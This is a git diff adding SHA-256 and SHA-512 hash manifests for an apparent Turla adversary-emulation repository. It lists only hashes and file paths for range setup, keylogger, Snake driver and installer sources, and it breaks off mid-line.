+1fa440d34bc7811fa98f24de347679ca0d62909b09d6cea1c5e1bbcb956eaa63 ./Resources/setup/terraform/evals-ranges/deploy.auto.tfvars.template +94a594b556b5623a41935823ea120f38378218862954298f619785311d930843 ./Resources/setup/terraform/evals-ranges/versions.tf +1841e03be133380d971d309da1d2c93db73a359aaccd14f0fe0f8b5edd042be5 ./Resources/setup/terraform/evals-ranges/variables.tf +f7e36fc18342cf3ae1a5240a5d77b5704f31eafb4636679c314afc4e442e3d57 ./Resources/setup/terraform/evals-ranges/snake.tf +9ad42ddde49ddbf55e606874c7e7e9ca99775fdef5886f886c13abea48b9d71d ./Resources/setup/terraform/evals-ranges/carbon.tf +99e3d3904979900a1707dcec2dbe5d35285ddf753ae4ce60f436b2998ec71b9c ./Resources/setup/terraform/evals-ranges/support.tf +5bc87343e66bc617e1e6c3249dc8450930ee7f3425f0e4b8b6dc1ae4618f3c7f ./Resources/setup/terraform/modules/windesk-latest-static/files/FirstLogonCommands.xml +6042dd23a56562c61b4db21f08add3a0be85477aeeae8f77f1213f248b7bb33e ./Resources/setup/terraform/modules/windesk-latest-static/files/winrm.ps1 +b9b5cb4e4191acce71f1977dd58226e8247fd62e578d4eef28f7c0468e0d5266 ./Resources/setup/terraform/modules/windesk-latest-static/main.tf +a15916c3c2fd4564a2d6613dd8a188de174c1c0b198fe650ab14f5de111f7a81 ./Resources/setup/terraform/modules/windesk-latest-static/outputs.tf +d79b5ce85bdf5838e828bc1e483e0407e342fd655a01748adb5a2baa6cab9329 ./Resources/setup/terraform/modules/windesk-latest-static/versions.tf +1d47595e032d24c037a499c4d36151ccf5fc2633245c6f9c81cbba5d5e7fb3a3 ./Resources/setup/terraform/modules/windesk-latest-static/variables.tf +15f1f6485f18e5c14bff961595a3a705492db3c6d86b2fc7fdea6f63f8ddfea6 ./Resources/setup/terraform/modules/rgroup/main.tf +92d8964b349932f06bac6cccce7a8aece2f4982357d7fa26eafa2254a30a6882 ./Resources/setup/terraform/modules/rgroup/outputs.tf +d79b5ce85bdf5838e828bc1e483e0407e342fd655a01748adb5a2baa6cab9329 ./Resources/setup/terraform/modules/rgroup/versions.tf +06bb9c9ab4e2e65ca8655e72a3aa653583456e30e51aefa276ee51978f37027b ./Resources/setup/terraform/modules/rgroup/variables.tf +5bc87343e66bc617e1e6c3249dc8450930ee7f3425f0e4b8b6dc1ae4618f3c7f ./Resources/setup/terraform/modules/winsrv-latest-static/files/FirstLogonCommands.xml +ea8e851a4f1e013962b6372885365e53bf460268099a006b587d343eedc8988b ./Resources/setup/terraform/modules/winsrv-latest-static/files/winrm.ps1 +392a1c51f08b7269b269833614b7d0589f084f5a4d892c588fc7b9d1df193e6c ./Resources/setup/terraform/modules/winsrv-latest-static/main.tf +a15916c3c2fd4564a2d6613dd8a188de174c1c0b198fe650ab14f5de111f7a81 ./Resources/setup/terraform/modules/winsrv-latest-static/outputs.tf +d79b5ce85bdf5838e828bc1e483e0407e342fd655a01748adb5a2baa6cab9329 ./Resources/setup/terraform/modules/winsrv-latest-static/versions.tf +9fbc77687aa3f97e71a6088c82d6b9bcca8c2e8e03f3c369df0e3767af03b21e ./Resources/setup/terraform/modules/winsrv-latest-static/variables.tf +344126887657c6d2d3db6aab70a71c2f72026db399e759890e0bc5020cd5493c ./Resources/setup/terraform/modules/linuxsrv-latest-static/main.tf +2d7eb84b89a62b35230fa99698e47cea524ad0a4bd6d7faf24abc2c6281eb1d6 ./Resources/setup/terraform/modules/linuxsrv-latest-static/outputs.tf +d79b5ce85bdf5838e828bc1e483e0407e342fd655a01748adb5a2baa6cab9329 ./Resources/setup/terraform/modules/linuxsrv-latest-static/versions.tf +e2383cebc495cd22bd9ef065e68db27198cfb7539e05e559f07fa6e0d8b23c71 ./Resources/setup/terraform/modules/linuxsrv-latest-static/variables.tf +9e0463ecc5ece9da077283fcc9ddf205bf3b694347b3ed3632e593ea24f2be95 ./Resources/Binaries/binaries.zip +1d61195324f1107b57c3c049ef1e63ddf871ca56f49b5c7b80b14dc29d1b8045 ./Resources/Penquin/README.md +82a0330b2066e22d8ed58edd32340d27f7fde9377f2235cf808ce74e8ceca8b4 ./Resources/Penquin/sniff.c +b741d103dbe720b01a7e0ee5a6ab817c6303501b8fab320a55e434d3940cd3bb ./Resources/Penquin/requirements.txt +b883176f2ef53c8f63ca7e77c3685600f13cc88c4863597299936460cb754cd0 ./Resources/Penquin/sendPacket.py +d97b39224d5c941cf9bafbd117d6e72e1df9ee376dfbf45d7e27241f3189774a ./Resources/Penquin/main.c +12b5aa866bc0df25199e150cb57c6b9a53276aa5b23d4c4ae9d84ebe621c39f7 ./Resources/Penquin/execution_penquin_test.sh +ef7a615755f581f5f542a60c0c2e918709bbb3deb118d6425599e36684b40e73 ./Resources/Penquin/build_Penquin.sh +f331e148f0a8d34c9563ee0230c5a2a91f0df5510c34de95cc97fd62c6022129 ./Resources/Penquin/crypt.h diff --git a/turla/Hashes/hash_SHA512.txt b/turla/Hashes/hash_SHA512.txt new file mode 100644 index 00000000..f5965ad9 --- /dev/null +++ b/turla/Hashes/hash_SHA512.txt @@ -0,0 +1,534 @@ +46077548b77608837e0227add2e9c134b11c43fce8f325a70a138871aa5002d2884ebe7dac07a456ed400db69b3036a1c993239121790d046755aee987c2b781 ./Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj +f55bbe9d4b529da18a2307b56f5ea833ca4bd665f6ec004882fe2a9cd952a01a6800c6c7ca73fb920243b3a2fd21d48403196cf2dd19cb69cad505ef3e9a80cc ./Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj.filters +306f0de1db9fcd9e62618828a30f8661f5e158546a41e5f08774698f7b5b357d1f3ada79cd806109479ec61758f4403cb0523e5e468d1f2e2628be736d719094 ./Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp +37f5ba654553b05ac68e773a41c0544f0adb3abb778166f5df99c11f3f3badc45ced24ac6259ac68392334028aa1086cd12507326c594dbf541b30a7a87b123f ./Resources/Keylogger/Keylogger/Keylogger.sln +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Keylogger/Keylogger/bin/.gitkeep +667b166b1941e26883bcac696e776e9c1d8387a8c4b03efc12c44d4ca1a80c341e2ed0a58e30603fea1935b29a183190f888b12b45e3e08ce539c742a80fa945 ./Resources/Keylogger/README.md +6c2bcec9b138d9406557bd34c119b1fa3e7d545d8b97eef1daeafede8b032a07a40f33829ed0387607e214fb8069ddf2220a9eaa0461887f8d18ca8cf1770793 ./Resources/Keylogger/.gitignore +3d63a67e8c4c488562fc4c6f3a163d1793ae863ae43b6172785e7c9df71355496f4cee349a397c275c55df01003c4f748fdc6b9a9fbdbeeba20f47308ab8cafa ./Resources/caldera_port/send-email-to-egle.ps1 +d511618c37a8b43d05514881e529f2b49e933d83c8c389d1ce4aad0b26d3829dcadb2da74d0bdbf3ea4dfc3bab95e32b3da51b7f22a998baa60a5df735f458f7 ./Resources/caldera_port/send-email-to-zilvinas.ps1 +1b1e7f337c4beb89fbe9a90ee36a61282dfac179bc62e2021c7781127e519ccd063ed6c1a645bd599b387b9f0e9ceec7818cf9bd9696bb44adc45ef56fa654bb ./Resources/Snake/README.md +a9f319a138a999893d005eb5e4635b1aad92b947ff96c8269e1a65a01cee5a32f9fa47e3eb3ea04bf5d1d64af8baf491dfb74d7ca00adee643cf587358dd6658 ./Resources/Snake/UserModule/README.md +c249ca241574aa0e1f572b35b5ef0c1d23bbaea9b5143f74ec0d7d6a51f988f65b13697feaba63a46687e758ff4c2d1b07751e488c1dc945578c147819097828 ./Resources/Snake/UserModule/.gitignore +8d5ea9f2727665441d03cb4e0f5abab05e1173ca4999244c123d405393c3b9160fda9de60eee915a7759c7d1992eaf5eda6ef630b19bfa3fa09de4acab19429a ./Resources/Snake/UserModule/CMakeLists.txt +72c766a27006ea5d6503f9ca1a57ea9e51b5fcd396451bf6b582e83d82010153d1ca9f287c54adf33a07f4bee914ada871a6258c75443166c62b25b6b5fb5319 ./Resources/Snake/UserModule/tests/logging_test.cpp +ed538879a609f938c964b032d5b93ebacebbd45af5b6ff1b1fa0363b20ab0ca98f0320bbdca4c67f6791724c1f727ef8ec1c2bc2a587fd5e6bd9fc5e7cdd0d37 ./Resources/Snake/UserModule/tests/enc_handler_test.cpp +3fe9ff322d913a93b1782357db8b9035428d881a7bc2bad134dda5a167ae05a068688c671f4f02c082fe2ebea3d1d807568a7205368dd02e71fb13e094936e39 ./Resources/Snake/UserModule/tests/util_test.cpp +297a7ea6307e1f0f3aaff39d4ea4860f99a82e0d661a6c902c7299d036f8ab3bc6ff58c63e4b6130329e7a3d9dc50fe1865898f633c115a0224cacbfbd105645 ./Resources/Snake/UserModule/tests/comms_pipe_test.cpp +c512ddfad03a29f14dd49b8759fa6933d2c33e4172145557ae43c8d6543da3a42a8442f4ac7687272fd5ba7ccb30aa2204e3520c37f3a281d2b99d24bac2016c ./Resources/Snake/UserModule/tests/core_test.cpp +fd9b108084ecf79da327ba87bb5130ba15362fb5b7878c621902176ce0cf19ba2e4128145d0b5035c57ad0a2dd1d3b6255ab69662c516d862a0cf0323a329b89 ./Resources/Snake/UserModule/tests/test_util.h +e208c800883f82b4a94bfe3b22f129013256d19a3515ffd3d56677fee689efd0a79b993f18b526d9474964b260d5e81f5ab34e412dd7e6f73298e1fcec75b712 ./Resources/Snake/UserModule/tests/execute_test.cpp +f179d4b58afa9bcba0c83d4492d7a9a78d708b0de0854b8c4447fa8455ebd8bef6c2c91ed8370710e638c0bc07d753d20abca0cc497285eaee657e5f1f8b84b2 ./Resources/Snake/UserModule/tests/instruction_test.cpp +61d146982e6a10ff848dfd29fae7f5cdbda0fb1cc22b1b4b03b08f67a48e36d9c79c838ad3b2d1c7966cdf9fc6b3140af5d126b5b260e374da4b9eea53310b14 ./Resources/Snake/UserModule/tests/comms_http_test.cpp +0c7dc5f8b8b9a96fbaeacf13c0508ee7b96ae89a214fa7f5eff003a063fcabc36636b3161e16302c144d0817526af827d6a80deac5158ff8551fbd1fd2d428ee ./Resources/Snake/UserModule/src/enc_handler.cpp +a6b37fba2bdeedf4199dd79d7a16d8987837af0ae88728d4198177de01e8672737c7565528f114ece0727e82c1bcc403ea026bb0ad729333bc7f2993ae42a8f4 ./Resources/Snake/UserModule/src/comms_http.cpp +68d7b198702af2be73882cbc9c3dc81053617b7bc99efba43c89cfe2b8731d16d54bc3e0c9a461d7bce1682500bb33bdea53893eb58c919ace7292ab6ab0853f ./Resources/Snake/UserModule/src/api_wrappers.cpp +816a29a148cce0f1a853efce7b8d13f67220bf2641f5765614d468c01dd93bb5966a98813999006879d8987a0b096a1fd536c529f09253c3496450e2482fab43 ./Resources/Snake/UserModule/src/core.cpp +532a662ba661f5754786abc7299f477dd8af50c12edfa41917eb168e254aad97b239f889e7b093917fef8ebee2c8e33e42ec7971762256c85cf055f853d0deaf ./Resources/Snake/UserModule/src/logging.cpp +8092097af9175fefd12367133cd34525eeacdf3d601dd2529860ffbdaff5e7db455e3517c1c7119e1fea0ba62b25c3e2a97c0cca08762f8c67332b92e53e07d9 ./Resources/Snake/UserModule/src/execute_token.cpp +639493531a119d3af4cc449745b4632520778314ff431b37999e04546987815ea90b3cc1427d6f462221c712807adea534417c30547cef5a47c2b51a18eb213e ./Resources/Snake/UserModule/src/dllmain.cpp +00107977dc250ad870b976bbabb11b95453fba78bd2fe617f8323b08ea72d5fd333659c6f3f89f076ed289d254bea9962bfdc8e013c8349d90d7409a2487b6a4 ./Resources/Snake/UserModule/src/instruction.cpp +9c58e36526aa248864a964aa807100af4cbc3db9620f5c5397719fac0f0c697500d12603210e77bd3cca3bd8b5f175334fe717d3ac553468c9d9801ef3de693d ./Resources/Snake/UserModule/src/CMakeLists.txt +3d90f129744fb2223a0d3b624946ea41c82db2bb83e73e3ba53e3c4940f31d5ff4cb57835915f5deab10e0a87192401d0cc42baa8f44ffd476cedb585d9c2b98 ./Resources/Snake/UserModule/src/file_handler.cpp +5c5f5a308139d120d91b97b92fa82c8ee70da35ee4b4a59e5c3806cb00046f0e67f95950032212f4b974f083b5d8618a3bc28cbe1e0b1e5288feb40287f79a27 ./Resources/Snake/UserModule/src/execute.cpp +fa1e06ea16a96ee3ca04a3dac0c2e837f800051acfac6b31c7dc20d0f51096e67cbc6c8921837e1838f5ca57e686ebeb5e6d108b55f544e699369df0077ed244 ./Resources/Snake/UserModule/src/util.cpp +5f12e728b0e2a6383ffc91a9c97b9e2a78a8d84121550a8f9337a97ca7b0e59b18456377f20b7bc2c1d9cf8b01b36fd0ae68b190cbc8623bb39cc5758dc83732 ./Resources/Snake/UserModule/src/comms_pipe.cpp +8550823ab57f4c47952933f2f67f360b38495d804d083633c0db0b3f742a976df10734d920d3609b3ae2b24597d3bcf78c50768c3fc491eccedaf086fb7e56e7 ./Resources/Snake/UserModule/include/file_handler.h +98c7342e97b83bf1ae13ae2b7c9105f32ae1a7882a5eacd0449e12af48b5f0665cc268d14a3ce7610ea14f85f2b4943b193d75ead9d1d1bcfa8f571047b84263 ./Resources/Snake/UserModule/include/enc_handler.h +25f719c1e78f9ca751cc87ca471fbba39f115545881ad786c820d78dcab249a1fd39e4c82f8aa401a162facd2f0d93f4b12857bc81942e43f785e02af8fee259 ./Resources/Snake/UserModule/include/usermodule_errors.h +a419cb8177f9d5ac5b932d648f4d5542c0ddeff1adf91fa3355cf48ae661928ab2b364de410075be9056688fa5ddb304983a5268fc7b02094923cc44dccc1a3b ./Resources/Snake/UserModule/include/core.h +c1d241add3b5c7795d29fe849b19666e7c1ab4e3149e91b900153b7059bdb25e32d846cd7430aac3a0bff9725ddc574afb3ee8c792459c4d91e51e0daf354f58 ./Resources/Snake/UserModule/include/api_wrappers.h +889c4f8c86977fadb1e71ca3ff2777db09abf0ae6b10395b4efe86655ceab6dc8055cd314d1d359ea969c88d0929b1c875ada58b82b35ba2d23d12a6d85543c8 ./Resources/Snake/UserModule/include/comms_pipe.h +55e686b90d4e5e6d5d2faf9dd9894721d41df07e1f022a2ee929eacae81beeff47af8e4b61c851eb9a2c887567345326bc5665c96aa99fc79a587c1b5b1a16cb ./Resources/Snake/UserModule/include/util.h +17430bed2629f2d487e7d80de48052e05b8f205cf9b985f5e991afa9b15ac49a5b55ca9327b2a99a1c33fa18363a33d6110d6beb34ce50f5ebb7913243ebc28c ./Resources/Snake/UserModule/include/instruction.h +9020ffd947f9f0fb5afed7478a616cac3a18727e44f96c638c98db6e054ecba9e9bcddd3e090497442fab2ae4b47dcd852d78a9102963d25059030461fc48471 ./Resources/Snake/UserModule/include/logging.h +7a77030f919cfceaae20e08cb1e16719ca3e95eaf24e09e79610e2544fba1d4137de4ad46376c3c45760c2481786bb1b070c6e7f1749faf8d6391f8f15edca66 ./Resources/Snake/UserModule/include/comms_http.h +aebbbaa56166af4d42366661dc5d397e2a13fcaac60d9f1440956bd80349f9be21a32b97f0fb500a7994aafa4741073335f6c0c8ffd4faa3b82f26f65e0fa2e9 ./Resources/Snake/UserModule/include/execute.h +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Snake/UserModule/bin/.gitkeep +0fc107a3d2104ff922648c2e1c60b2f329c7338f07c143368f8ffd0bd3be45f963880e87ad016c1b0566cb38fc182b2d0616ccdda4b47c3dd52eecbe6f487e2b ./Resources/Snake/.gitignore +230a8c98162fa6189c1b7249af32544ed7c3e31696995bca6e6e2aa2a8651468ee3386de0475d9c792a2c487235619a4839a0a49b19297c7ac5f4abdb190a0c5 ./Resources/Snake/build_installer.bat +4414899b62394b89236030d19d05eb87b559e602a4e2fc90a53149fb5dd1662b2ff2a370f97288e0eb3e92b7e6050f3aad0d5f40e4edb6543b3d75d5a29cd090 ./Resources/Snake/SnakeDriver/README.md +8b48edb175dc03941a92fb43705e46457f594a644c0d99b79670112d4b899440642bd6b2e6a1c407486862695b7609d840906b170fe07f617a70205e9c8e5af2 ./Resources/Snake/SnakeDriver/run_driver.ps1 +200ec5440660169870941320a0182ac9317b7b9a7a0447ed68d9f25cd4b78dfc717837bceabb74b84f8b18cd2fe690ad25e276827bb2a1528acd10423483cc77 ./Resources/Snake/SnakeDriver/test_driver.ps1 +3eee66e7217e690de71e77e04a6b5d5144392ab14ff0068c8885bbf7aa61716101810b404642104fd721e54803998f59201514fcf192d8c7fa1885b5899662be ./Resources/Snake/SnakeDriver/SnakeDriver/inject.hpp +6a21776f33af56be7ad9f1c3c4c5a931dae05152efebcbe0fcf2c385af62c3791bc0d4f3ed986e2387cdcf33b99ef831b050fd6964531ab7ab35e1636277e998 ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj +8ac7c8e72bf19761dd20341c8cee7aa3307f30b3ddc1f5290548cbc2b7e667983447ff580993a063055ff42e97ec0b180f66104060547171702c7d253fc7546f ./Resources/Snake/SnakeDriver/SnakeDriver/attach.cpp +eba705d0872b12ec4a34a3fb46bdbca86d35ef717013737a4b6f33e1f325f6776b0e3ded918ef0ee0f3189fc85186974b11a9d5945a675a3ad37a65682470144 ./Resources/Snake/SnakeDriver/SnakeDriver/payload.hpp +4e5b927988428811192feaecb4a6642423bd070ace808e7796236031bb814a7f8aea4d85f8ea7b14aa6665d85fdedd69d03c169987a619156f5bf421662dcf94 ./Resources/Snake/SnakeDriver/SnakeDriver/hooks.c +0b3c27a18687ee191974c8cb508f8b1932c5850977dbeb308878f4b6e904d61f2a0019113475b2514d1e21ec1e1b856ccc0ae79c28e80553b49155fb24eae4c9 ./Resources/Snake/SnakeDriver/SnakeDriver/process.hpp +f880068f8f86174c18ab9ff5450ea2a62b6876960973c00675452dac1d8d48d101e94c423830922d1ae89e0c7f8a9a01eec56d2ac02a515ee4b99dd2319fb676 ./Resources/Snake/SnakeDriver/SnakeDriver/apc.hpp +286ff96fcd22ae5f3cd61f5f75a296fff396967a41978350af244b6f71ab39b7beb58583cb914e53e1e47d0111e5b3aa2992593361f8511178d38382bf2f1678 ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj.filters +446828b0aef3d1915d915faac436a285009098893c1e65e29f6d26cd697bb208a0bdf9ce950efd425194c59d33108e45320a308c4df97597c3ec575a7947f214 ./Resources/Snake/SnakeDriver/SnakeDriver/hooks.h +39c775e9a1d809fe295bcf3f98a3c2715f0f9b645c2884d0ad470aa2bdfb583b41301c5cf7cd24f0c7507f9a804e5d49ee5d384ff4365dd4b1dd206fd083adbe ./Resources/Snake/SnakeDriver/SnakeDriver/filesystem.hpp +3b9397fbbb57f7353412ba4e292170ee361f705264a3cc22df0fc6a228a1b0301364b2dda4d2f46eb72544e1fd2cbb66188c90c902c7a39f30301380a718f07b ./Resources/Snake/SnakeDriver/SnakeDriver/wfp.hpp +fc1ade4f9bc38cca7e83ebc646b64b4a1e57a867870035bd72e60dd4d06f163521fdb58d235e4b9752d7afc4145005ed71185601188e0a4bf3e1f4a36e52bacc ./Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp +1909e8fcdd4640cf8c8ea33f01beeaa42737ab9f8da09818c522bb38c7320a93c89946dd0daac64789d2b974e957295949c78fce936b8afc63106933e223568b ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.inf +14f25fb64a15f1eb6bce90bbf6119b81af9823e9d160f5dcaf18e3cc220c713f2fd7e2ce58eec1b3995f159e6b131082f197d846ec464f75a02cdfb4eea7a035 ./Resources/Snake/SnakeDriver/SnakeDriver/pe.hpp +02845cb9a057fc42d70ec6bef6c6cab737ee1cfd46147ef90c88176782af56966db32387f87a19b260e3353e784a123c6b8216107e5d5fd4e5399384761b8a84 ./Resources/Snake/SnakeDriver/SnakeDriver/driver.c +3277b752ccb7cebaf97faad2eadeca7040eef6e6d4e71cbede62aa94f0edf7484b6ded8b10c5be107ab06ca4cc5f1caa406e1de788a37c57a299cab2e46e1411 ./Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.h +40378ca907ec885fa42e7d98b8f4b0665d596908d54f5108e76cc624d740166072681692fdfcb7dc13da9395efb30472d619d208f80ef4c088e2dc547c03a92f ./Resources/Snake/SnakeDriver/SnakeDriver/pe.cpp +7ef447c7adc7129c0d284be9173575972999a47ae30ebe09335f972c38fd115e9d6404846a3adbafeb98d359994c0303bf2b87b531b602c8055ac55c61b1f7a4 ./Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.c +5fc0774839bff6f8026bd420f6d3495e7d9536d13a38425c9b248eb041c521d4caf3bfea31fe747419ed1623dd2d389e6d0d67bec663355acc338909b9178c8f ./Resources/Snake/SnakeDriver/SnakeDriver/driver.h +f813394e4336910c2cf32ddad4d8f28af00bb08f707069c55a26f5e72108b50e89a68cfe4834730343e021c2a6e094b0bef27602501d3408f7370ea834999efd ./Resources/Snake/SnakeDriver/SnakeDriver/apc.cpp +74efb7dd99fca391590ba4930fa6b10cc81e7c34f47cce6645a2740fe576610732736afde19806406e202c65592037d242c37bc38c71730ca2679bbd74780eb8 ./Resources/Snake/SnakeDriver/SnakeDriver/process.cpp +1256e586d2b0310b0869dc33eb08be213adb95f3f265175b99ea91d10f8d03e284f30248375676ab8f41d7117b0a865a18c6520c0cae0bc16b0761327bc39eff ./Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp +18877abfa007033e30a465191f8fac53a1276b459f97fe926be5ae44eb279da74263fb1f716ccc32e0295d1c7c0ff4aef7928cf937303ccf4b7d34b5dd180401 ./Resources/Snake/SnakeDriver/SnakeDriver/attach.hpp +fa99dc310eda78b61dd86bdbaaf2868fee93034ccc20a9806971436594044c9693eb927168d63af1d5e0a31e6ec280442c256337efd678af95b22ec3c6333e07 ./Resources/Snake/SnakeDriver/SnakeDriver/common.hpp +b4fc3fb928abdda4554a8e88f3740cc398ae4794edb32a1c286275b6b7cdba7ba170e924c81c09aa6a5c22ed5c5c4824ec68a203c3710b2dcf9ac8183c0ed7c6 ./Resources/Snake/SnakeDriver/SnakeDriver/common.cpp +319e8de16c75da7723b2837f63e3e08b8bf54260e4cac910972ae27d83296aaddfff61c3ba035d3fc679a528e57cff89fb445316bf1befcfe79a43981f05ac2b ./Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp +556451b8dfde846ae01dbd001006cca846cc04a9273be79b82970423999186b4cab046604ceb202419fdeda498f76530e8bf006f320fddcfd86b2eb20648bd4c ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj.filters +e37a48c3489f9eb184b98cb0e0e05425bc810db9a0c1ed2846efe0144cf24a23d68c91e3b90c0a5f76dbc11064a29339c9173d3568c5db847a2c9693f376094d ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.cpp +e9ddb1092b953ab98c54f386cb34ef8291fd8d89b1c46b7438831d9a027077e0a50bbf4a6912537192b76747d4b9e394e1909315ecade0731d17f13466283856 ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj +060b3c3ad764711334e13b5f36355e5f1577cca89a5970fa8fcc024fadf26fe121bcaf0a9f17ff2e1f3fca5a6df15d2d55cd7e1cff80fab54dd0adc10dc0ddb9 ./Resources/Snake/SnakeDriver/SnakeDriver.sln +6f950fe9133a475f1fe581b2c84b09194db47519e581e65d14014acb5c7ef8eb3e4064cc40d7783dda2a35ed29f5526f3166013d118cdeb7c496b8c235518412 ./Resources/Snake/SnakeDriver/libinfinityhook/stdafx.cpp +b4907a1960b377dc4d79dc05d640b07ecd2c1b9d44cff20f19f15ab448099e5dc30c589279c57bf3212eff8896060ee28f7e51a9ec3e57274527663d3f92b4fe ./Resources/Snake/SnakeDriver/libinfinityhook/README.md +fead41985957666fa6ff9a3ff13f2d7ed449a8c1ef1bf788f94d50ee55ef8d38202a29e58efb3de95b19db2ce3c6c4c81e155bca8c42f2249ba60b1c1970a8e3 ./Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj.filters +4b4d323cd35eab257617511b0dd2136eefa4fe836a97d91faed91b3e7a97a9c7c970f1e5a3eb10ec9cbb8b05fadd07285b254a851f53c9ca25ad4ac47db57e16 ./Resources/Snake/SnakeDriver/libinfinityhook/mm.h +c3535c1a8f1da9ab1542d6f797ad2164fb8063943b5dafda34b9872fff25a876c85bbd9d411e21ebef0656a8670fdf6c54b51d01d1b1a4a85b02a8b12a3a2878 ./Resources/Snake/SnakeDriver/libinfinityhook/img.cpp +f314e91326a3164e78549f97c65d30cbf7c2cf3a95301e3fb90f03998186bb998d6ae4c61c8adef52e2a86bff24e9654f050014cec6d4637f17618755f5a50db ./Resources/Snake/SnakeDriver/libinfinityhook/img.h +cdddb7c12295042a687b0d56361ee4885cd0c0abd7f037bb78cd77083c7adc8166b9a520fdcf2df6f5c66de6a4c7030bec8465101020139238f94f159ff89c1d ./Resources/Snake/SnakeDriver/libinfinityhook/ntint.h +db08d7a8d39e02300b6c5fdffbfb32ed93e01cf249220e76a41f9101faf50c28e32f21ebc94b4cbd907f4e244e0550a4b671dbcbf504b99978c8127b6e4a18a2 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.h +b2bd510b60c74c715cb467ef6411021469f8694aa9beecefece2c34942b8c457cad20c5b237f440c7e480f548ad2286e102627a3738838e9757cb09653107791 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/pstdint.h +93003418cb1f6d1b7731b41f366dacd655d2dec4539df16355fcb990aa016ee14d4cc91ac932b524ba4ad9cbc83daeacd4e3e90f015cd8e33edb7468f2441cf3 ./Resources/Snake/SnakeDriver/libinfinityhook/hde/hde64.cpp +4297a73122c8342f66b43fabecc3ff8f065c767f96c947aa057ded3854e012a5115ff2b53fbf2eed5c377e47b7b9db9f7cfd798ad292c1c359184c3de159683b ./Resources/Snake/SnakeDriver/libinfinityhook/hde/table64.h +26ba0bf50c8d3f3bf06d813255e78bd670f4a47202fb73bf3153fd6e864fa27e8f1963a04497f5aab62505b968d1d7b14219ba33286195292a025e9d66f1a52f ./Resources/Snake/SnakeDriver/libinfinityhook/stdafx.h +e531727ddb8f26f4c9b8e889c7db6bd673d43c242d60f2b1952df09a53907d6681d13f06b65d0eeddc9dc7679a777fc05c15c6b0ca1d43eed571a4563c21f53d ./Resources/Snake/SnakeDriver/libinfinityhook/libinfinityhook.vcxproj +d4726644d8b36f9f70d02216ea0687cff9c1cb5fb0c17069e508d06f3362340a324205a20b78e62d87bf5cb861069011f72c36778c12bd516e32aca7d42a4805 ./Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.h +ce9d36025fd77936acf5f8e572069380f10cc216a90e2e7d58d282c05d98b4cbdeb9c78ce591722ae9b69bd19b6a6af02783cc0e519c9740f0b5a45f5adb329d ./Resources/Snake/SnakeDriver/libinfinityhook/infinityhook.cpp +153e257e715524f417a40721f1febf57b85d5391e7e7e8246351bc924c4935930c2118d082174859da71c7105b54e9145ae3f954064e2c51ddcb2e42c09d356f ./Resources/Snake/SnakeDriver/libinfinityhook/mm.cpp +701a968ab283c71f3608b3ffe186fd10d17f4eb3f502679ffaaa87f6c8f29d3182674104c48f8e6acd95be5a3b1a07b20f2dd716f6eebcee59eb694a9d615c69 ./Resources/Snake/cleanup.ps1 +6a64b2a53f1afd49161a6823edad09cf2b5f1435a5cb3fd281eb155b086a78a9b7ba699d04286de400a7126512f5926f73be8e1ce1e9c5f4815b8f2da82df93a ./Resources/Snake/gen_h_file.py +9e459c9f93cebf18bc8062785308f4e989ba874603da0ad9da9c2e8f2af5f9a6692fbad16f0bf1723ce865c59d6bae2fa8c87b7cff2d4124a88632e6bc5ccca2 ./Resources/Snake/SnakeInstaller/external/hde64/hde64.h +daeb3f5749524787dbee48eede36d5e669552282a2db4c1ac0929a053942cfea23b55273baebdaff94cce6da0afa322cd83db92dbfce9de5553e89f2f3ae9e22 ./Resources/Snake/SnakeInstaller/external/hde64/table64.h +05c5549c65346f3e9a89913d61e408b255ab331fb8b5a7a3890df746a189110fb4c16ab0af0cd3712bd7534f31d9062fb89307cc9d34f2e1898a04e066d67e94 ./Resources/Snake/SnakeInstaller/external/hde64/hde64.c +5d5b79fab9e3b0f48100617d8812d64a7163464a03d79666e0b09fc16088bee0c3f0c23e2eab01e18ac6b31a69efda95092be41e7414669d5a55ec2e2f407c29 ./Resources/Snake/SnakeInstaller/vcpkg.json +2ba70513b2b67cf00a035bef3f250c630b3607a6432e818fb9aa7464020bb8ba1751cd85f29c2f4b4bea87f54c703c6bd253c297a7a791e79862450d3f2cf86d ./Resources/Snake/SnakeInstaller/README.md +fb46823e1a4ca4d258e7007e4179afe2dd3ef47485b717ba054620f3b2f9b09e6e2433eddcc54af19a7ac0b7b284397378ac0a8ef7e3abbf501bdd5b19747674 ./Resources/Snake/SnakeInstaller/.gitignore +44947d0ad95fdfbe5d9d5c8041a0b36f639457dcdbdf05731cfddc0ced299f0711d19c34074ff102eb9110cb995dc15d6a6f79ce5481f73e5a449a6794ac924d ./Resources/Snake/SnakeInstaller/CMakeLists.txt +b6ee4395b68d5aeac5da4192492d440f47307c6f5d4fb4347d8d18fb41388b134f42bf11c96d019ea21bbdacdaf42a9d50de71acc61fc44c67429b231f747048 ./Resources/Snake/SnakeInstaller/tools/launch.vs.json +a30854316532574b10829542b922eb237e7b7333bf9ecb6d5e39a92f04c5e7f6c2ffc06f92b87d44beaef48f0f7ce78a0a2a4b3b79f7fde2ef9338d8266515ed ./Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp +53477fd6dbd5a363b04ad2483a5bbbf2fb6e4d5a31b09d2f409eca884e7aef8d63aac4d8b66185f90e3b25008f9223a5be4281f5d7d12798a37dd0f5d4a5fc32 